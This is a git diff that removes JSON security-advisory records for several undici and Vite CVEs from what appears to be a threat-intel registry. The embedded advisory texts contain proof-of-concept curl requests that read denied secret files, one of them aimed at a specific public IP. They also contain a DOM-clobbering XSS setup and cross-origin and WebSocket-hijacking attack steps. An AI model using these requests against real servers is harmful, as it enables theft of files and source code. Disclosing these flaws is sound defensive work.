    -  ],
    -  "fixed_versions": [
    -    "7.18.2",
    -    "6.23.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-22036.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-2229.json b/08-threat-intel/registry/advisories/undici--CVE-2026-2229.json
    deleted file mode 100644
    index 2e53e906..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-2229.json
    +++ /dev/null
    @@ -1,77 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-2229",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation",
    -  "summary": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_",
    -  "published_at": "2026-03-13T20:41:41Z",
    -  "updated_at": "2026-03-13T20:54:26.149214Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-2229",
    -    "https://hackerone.com/reports/3487486",
    -    "https://cna.openjsf.org/security-advisories.html",
    -    "https://datatracker.ietf.org/doc/html/rfc7692",
    -    "https://github.com/nodejs/undici",
    -    "https://nodejs.org/api/zlib.html#class-zlibinflateraw"
    -  ],
    -  "aliases": [
    -    "CVE-2026-2229",
    -    "GHSA-v9p9-hfj2-hcw8"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-2229"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-v9p9-hfj2-hcw8"
    -  ],
    -  "osv_ids": [
    -    "GHSA-v9p9-hfj2-hcw8"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<6.24.0",
    -    "introduced=7.0.0, fixed<7.24.0"
    -  ],
    -  "fixed_versions": [
    -    "6.24.0",
    -    "7.24.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-2229.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary",
    -    "plugin-extension-trust-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-2581.json b/08-threat-intel/registry/advisories/undici--CVE-2026-2581.json
    deleted file mode 100644
    index bd2bb091..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-2581.json
    +++ /dev/null
    @@ -1,72 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-2581",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici has Unbounded Memory Consumption in its DeduplicationHandler via Response Buffering that leads to DoS",
    -  "summary": "## Impact\nThis is an uncontrolled resource consumption vulnerability (CWE-400) that can lead to Denial of Service (DoS).\n\nIn vulnerable Undici versions, when `interceptors.deduplicate()` is enabled, response data for deduplicated requests could be accumulated in memory for downstream handlers. An attacker-controlled or untrusted upstream endpoint can exploit this with large/chunked responses and concurrent identical requests, causing high memory usage and potential OOM process termination.\n\nImpacted users are applications that use Undici\u2019s deduplication interceptor against endpoints that may produce large or long-lived response bodies.\n\n## Patches\n\nThe issue has been patched by changing deduplication behavior to stream response chunks to downstream handlers as they arrive (instead of full-body accumulation), and by preventing late deduplication when body streaming has already started.\n\nUsers should upgrade to the first official Undici (and Node.js, where applicable) releases that include this patch.\n\n## Workarounds\nIf upgrading immediately is not possible:\n\n- Disable `interceptors.deduplicate()` for affected clients/routes.\n- Use `skipHeaderNames` with a marker header to force high-risk requests to bypass deduplication.\n- Avoid concurrent identical requests to untrusted endpoints that may return very large/chunked bodies.\n- Apply upstream/proxy response-size and timeout limits.",
    -  "published_at": "2026-03-13T20:37:58Z",
    -  "updated_at": "2026-03-13T20:54:25.417862Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-phc3-fgpg-7m6h",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-2581",
    -    "https://hackerone.com/reports/3513473",
    -    "https://cna.openjsf.org/security-advisories.html",
    -    "https://github.com/nodejs/undici"
    -  ],
    -  "aliases": [
    -    "CVE-2026-2581",
    -    "GHSA-phc3-fgpg-7m6h"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-2581"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-phc3-fgpg-7m6h"
    -  ],
    -  "osv_ids": [
    -    "GHSA-phc3-fgpg-7m6h"
    -  ],
    -  "affected_versions": [
    -    "introduced=7.17.0, fixed<7.24.0"
    -  ],
    -  "fixed_versions": [
    -    "7.24.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-2581.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/vite--CVE-2024-23331.json b/08-threat-intel/registry/advisories/vite--CVE-2024-23331.json
    deleted file mode 100644
    index c7db3322..00000000
    --- a/08-threat-intel/registry/advisories/vite--CVE-2024-23331.json
    +++ /dev/null
    @@ -1,83 +0,0 @@
    -{
    -  "canonical_id": "vite--CVE-2024-23331",
    -  "system_id": "vite",
    -  "display_name": "Vite",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem",
    -  "summary": "### Summary\n[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.\n\nThis bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.\n\n### Patches\nFixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17\n\n### Details\nSince `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. \n\nSee `picomatch`  usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632\n\nBy requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. \n\n### PoC\n**Setup**\n1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. \n    - `npm run dev -- --host 0.0.0.0`\n    - Publicly accessible for the time being here: http://20.12.242.81:5173/ \n2. Created dummy secret files, e.g. `custom.secret` and `production.pem`\n3. Populated `vite.config.js` with\n```javascript\nexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }\n```\n\n**Reproduction**\n1. `curl -s http://20.12.242.81:5173/@fs//`\n    - Descriptive error page reveals absolute filesystem path to project root\n2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`\n    - Discoverable configuration file reveals locations of secrets\n3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`\n    - Secrets are directly accessible using case-augmented version of filename\n\n**Proof**\n![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png)\n\n### Impact\n**Who**\n- Users with exposed dev servers on environments with case-insensitive filesystems\n\n**What**\n- Files protected by `server.fs.deny` are both discoverable, and accessible",
    -  "published_at": "2024-01-19T21:58:47Z",
    -  "updated_at": "2026-02-04T04:17:01.410592Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2023-34092",
    -    "https://nvd.nist.gov/vuln/detail/CVE-2024-23331",
    -    "https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691",
    -    "https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5",
    -    "https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278",
    -    "https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb",
    -    "https://github.com/vitejs/vite",
    -    "https://vitejs.dev/config/server-options.html#server-fs-deny"
    -  ],
    -  "aliases": [
    -    "CVE-2024-23331",
    -    "GHSA-c24v-8rfc-w8vw"
    -  ],
    -  "cve_ids": [
    -    "CVE-2024-23331"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-c24v-8rfc-w8vw"
    -  ],
    -  "osv_ids": [
    -    "GHSA-c24v-8rfc-w8vw"
    -  ],
    -  "affected_versions": [
    -    "introduced=2.7.0, fixed<2.9.17",
    -    "introduced=3.0.0, fixed<3.2.8",
    -    "introduced=4.0.0, fixed<4.5.2",
    -    "introduced=5.0.0, fixed<5.0.12"
    -  ],
    -  "fixed_versions": [
    -    "2.9.17",
    -    "3.2.8",
    -    "4.5.2",
    -    "5.0.12"
    -  ],
    -  "package_name": "vite",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2024-23331.md",
    -  "secure_code_topics": [
    -    "dependency-upgrade-policy",
    -    "file-upload-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Vite"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/vite--CVE-2024-45811.json b/08-threat-intel/registry/advisories/vite--CVE-2024-45811.json
    deleted file mode 100644
    index afc02a71..00000000
    --- a/08-threat-intel/registry/advisories/vite--CVE-2024-45811.json
    +++ /dev/null
    @@ -1,86 +0,0 @@
    -{
    -  "canonical_id": "vite--CVE-2024-45811",
    -  "system_id": "vite",
    -  "display_name": "Vite",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Vite's `server.fs.deny` is bypassed when using `?import&raw`",
    -  "summary": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    \n      

    403 Restricted

    \n

    The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n", - "published_at": "2024-09-17T18:44:12Z", - "updated_at": "2026-02-04T04:05:31.919291Z", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2024-45811", - "https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249", - "https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34", - "https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd", - "https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6", - "https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2024-45811", - "GHSA-9cwx-2883-4wfx" - ], - "cve_ids": [ - "CVE-2024-45811" - ], - "ghsa_ids": [ - "GHSA-9cwx-2883-4wfx" - ], - "osv_ids": [ - "GHSA-9cwx-2883-4wfx" - ], - "affected_versions": [ - "introduced=5.4.0, fixed<5.4.6", - "introduced=5.3.0, fixed<5.3.6", - "introduced=5.2.0, fixed<5.2.14", - "introduced=4.0.0, fixed<4.5.4", - "introduced=0, fixed<3.2.11", - "introduced=5.0.0, fixed<5.1.8" - ], - "fixed_versions": [ - "5.4.6", - "5.3.6", - "5.2.14", - "4.5.4", - "3.2.11", - "5.1.8" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2024-45811.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2024-45812.json b/08-threat-intel/registry/advisories/vite--CVE-2024-45812.json deleted file mode 100644 index 9a41877b..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2024-45812.json +++ /dev/null @@ -1,92 +0,0 @@ -{ - "canonical_id": "vite--CVE-2024-45812", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS", - "summary": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in Vite when building scripts to `cjs`/`iife`/`umd` output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.\n\nNote that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986\n\n### Details\n\n**Backgrounds**\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https://scnps.co/papers/sp23_domclob.pdf\n[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/\n\n**Gadgets found in Vite**\n\nWe have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to `cjs`, `iife`, or `umd`. In such cases, Vite replaces relative paths starting with `__VITE_ASSET__` using the URL retrieved from `document.currentScript`.\n\nHowever, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.\n\n```\nconst relativeUrlMechanisms = {\n amd: (relativePath) => {\n if (relativePath[0] !== \".\") relativePath = \"./\" + relativePath;\n return getResolveUrl(\n `require.toUrl('${escapeId(relativePath)}'), document.baseURI`\n );\n },\n cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(\n relativePath\n )} : ${getRelativeUrlFromDocument(relativePath)})`,\n es: (relativePath) => getResolveUrl(\n `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`\n ),\n iife: (relativePath) => getRelativeUrlFromDocument(relativePath),\n // NOTE: make sure rollup generate `module` params\n system: (relativePath) => getResolveUrl(\n `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`\n ),\n umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(\n relativePath\n )} : ${getRelativeUrlFromDocument(relativePath, true)})`\n};\n```\n\n### PoC\n\nConsidering a website that contains the following `main.js` script, the devloper decides to use the Vite to bundle up the program with the following configuration. \n\n```\n// main.js\nimport extraURL from './extra.js?url'\nvar s = document.createElement('script')\ns.src = extraURL\ndocument.head.append(s)\n```\n\n```\n// extra.js\nexport default \"https://myserver/justAnOther.js\"\n```\n\n```\n// vite.config.js\nimport { defineConfig } from 'vite'\n\nexport default defineConfig({\n build: {\n assetsInlineLimit: 0, // To avoid inline assets for PoC\n rollupOptions: {\n output: {\n format: \"cjs\"\n },\n },\n },\n base: \"./\",\n});\n```\n\nAfter running the build command, the developer will get following bundle as the output.\n\n```\n// dist/index-DDmIg9VD.js\n\"use strict\";const t=\"\"+(typeof document>\"u\"?require(\"url\").pathToFileURL(__dirname+\"/extra-BLVEx9Lb.js\").href:new URL(\"extra-BLVEx9Lb.js\",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement(\"script\");e.src=t;document.head.append(e);\n```\n\nAdding the Vite bundled script, `dist/index-DDmIg9VD.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n\n```\n\n\n\n Vite Example\n \n \n \n\n\n\n\n\n```\n\n### Impact\n\nThis vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of `cjs`, `iife`, or `umd`) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.\n\n### Patch\n\n```\n// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296\nconst getRelativeUrlFromDocument = (relativePath: string, umd = false) =>\n getResolveUrl(\n `'${escapeId(partialEncodeURIPath(relativePath))}', ${\n umd ? `typeof document === 'undefined' ? location.href : ` : ''\n }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,\n )\n```", - "published_at": "2024-09-17T19:28:01Z", - "updated_at": "2026-02-04T04:04:22.977459Z", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3", - "secondary_source_urls": [ - "https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986", - "https://nvd.nist.gov/vuln/detail/CVE-2024-45812", - "https://github.com/vitejs/vite/commit/179b17773cf35c73ddb041f9e6c703fd9f3126af", - "https://github.com/vitejs/vite/commit/2691bb3ff6b073b41fb9046909e1e03a74e36675", - "https://github.com/vitejs/vite/commit/2ddd8541ec3b2d2e5b698749e0f2362ef28056bd", - "https://github.com/vitejs/vite/commit/ade1d89660e17eedfd35652165b0c26905259fad", - "https://github.com/vitejs/vite/commit/e8127166979e7ace6eeaa2c3b733c8994caa31f3", - "https://github.com/vitejs/vite/commit/ebb94c5b3bf41950f45562595adec117a4d0ba5e", - "https://github.com/vitejs/vite", - "https://research.securitum.com/xss-in-amp4email-dom-clobbering", - "https://scnps.co/papers/sp23_domclob.pdf" - ], - "aliases": [ - "CVE-2024-45812", - "GHSA-64vr-g452-qvp3" - ], - "cve_ids": [ - "CVE-2024-45812" - ], - "ghsa_ids": [ - "GHSA-64vr-g452-qvp3" - ], - "osv_ids": [ - "GHSA-64vr-g452-qvp3" - ], - "affected_versions": [ - "introduced=5.4.0, fixed<5.4.6", - "introduced=5.3.0, fixed<5.3.6", - "introduced=5.2.0, fixed<5.2.14", - "introduced=4.0.0, fixed<4.5.4", - "introduced=0, fixed<3.2.11", - "introduced=5.0.0, fixed<5.1.8" - ], - "fixed_versions": [ - "5.4.6", - "5.3.6", - "5.2.14", - "4.5.4", - "3.2.11", - "5.1.8" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2024-45812.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary", - "xss-output-encoding", - "plugin-extension-trust-policy" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "xss-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-24010.json b/08-threat-intel/registry/advisories/vite--CVE-2025-24010.json deleted file mode 100644 index f445ad0e..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-24010.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-24010", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Websites were able to send any requests to the development server and read the response in vite", - "summary": "### Summary\nVite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.\n\n> [!WARNING]\n> This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.\n\n### Upgrade Path\nUsers that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.\n\n- Using the backend integration feature\n- Using a reverse proxy in front of Vite\n- Accessing the development server via a domain other than `localhost` or `*.localhost`\n- Using a plugin / framework that connects to the WebSocket server on their own from the browser\n\n#### Using the backend integration feature\nIf you are using the backend integration feature and not setting [`server.origin`](https://vite.dev/config/server-options.html#server-origin), you need to add the origin of the backend server to the [`server.cors.origin`](https://github.com/expressjs/cors#configuration-options) option. Make sure to set a specific origin rather than `*`, otherwise any origin can access your development server.\n\n#### Using a reverse proxy in front of Vite\nIf you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than `localhost` or `*.localhost`, you need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if the reverse proxy is sending requests to `http://vite:5173`, you need to add `vite` to the `server.allowedHosts` option.\n\n#### Accessing the development server via a domain other than `localhost` or `*.localhost`\nYou need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if you are accessing the development server via `http://foo.example.com:8080`, you need to add `foo.example.com` to the `server.allowedHosts` option.\n\n#### Using a plugin / framework that connects to the WebSocket server on their own from the browser\nIf you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.\n\nIn that case, you can either:\n\n- fix the plugin / framework code to the make it compatible with the new version of Vite\n- set `legacy.skipWebSocketTokenCheck: true` to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite\n - When enabling this option, **make sure that you are aware of the security implications** described in the impact section of [2] above.\n\n### Mitigation without upgrading Vite\n#### [1]: Permissive default CORS settings\nSet `server.cors` to `false` or limit `server.cors.origin` to trusted origins.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\nThere aren't any mitigations for this.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\nUse Chrome 94+ or use HTTPS for the development server.\n\n### Details\n\nThere are three causes that allowed malicious websites to send any requests to the development server:\n\n#### [1]: Permissive default CORS settings\n\nVite sets the [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header depending on [`server.cors`](https://vite.dev/config/server-options.html#server-cors) option. The default value was `true` which sets `Access-Control-Allow-Origin: *`. This allows websites on any origin to `fetch` contents served on the development server.\n\nAttack scenario:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n2. The user accesses the malicious web page.\n3. The attacker sends a `fetch('http://127.0.0.1:5173/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.\n4. The attacker gets the content of `http://127.0.0.1:5173/main.js`.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\n\nVite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server [did not perform validation on the Origin header](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/src/node/server/ws.ts#L145-L157) and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection ([list of the file paths that changed, the file content where the errored happened, etc.](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/types/hmrPayload.d.ts#L12-L72)), but plugins can send arbitrary messages and may include more sensitive information.\n\nAttack scenario:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n2. The user accesses the malicious web page.\n3. The attacker runs `new WebSocket('http://127.0.0.1:5173', 'vite-hmr')` by JS in that malicious web page.\n4. The user edits some files.\n5. Vite sends some HMR messages over WebSocket.\n6. The attacker gets the content of the HMR messages.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\n\nUnless [`server.https`](https://vite.dev/config/server-options.html#server-https) is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.\n\n1. The attacker serves a malicious web page that is served on **HTTP** (`http://malicious.example.com:5173`) (HTTPS won't work).\n2. The user accesses the malicious web page.\n3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).\n4. The attacker sends a `fetch('/main.js')` request by JS in that malicious web page.\n5. The attacker gets the content of `http://127.0.0.1:5173/main.js` bypassing the same origin policy.\n\n### Impact\n#### [1]: Permissive default CORS settings\nUsers with the default `server.cors` option may:\n\n- get the source code stolen by malicious websites\n- give the attacker access to functionalities that are not supposed to be exposed externally\n - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\nAll users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.\n\nFor users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.\n\nFor users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\nUsers using HTTP for the development server and using a browser that is not Chrome 94+ may:\n\n- get the source code stolen by malicious websites\n- give the attacker access to functionalities that are not supposed to be exposed externally\n - Vite core does not have any functionality that causes changes somewhere else when 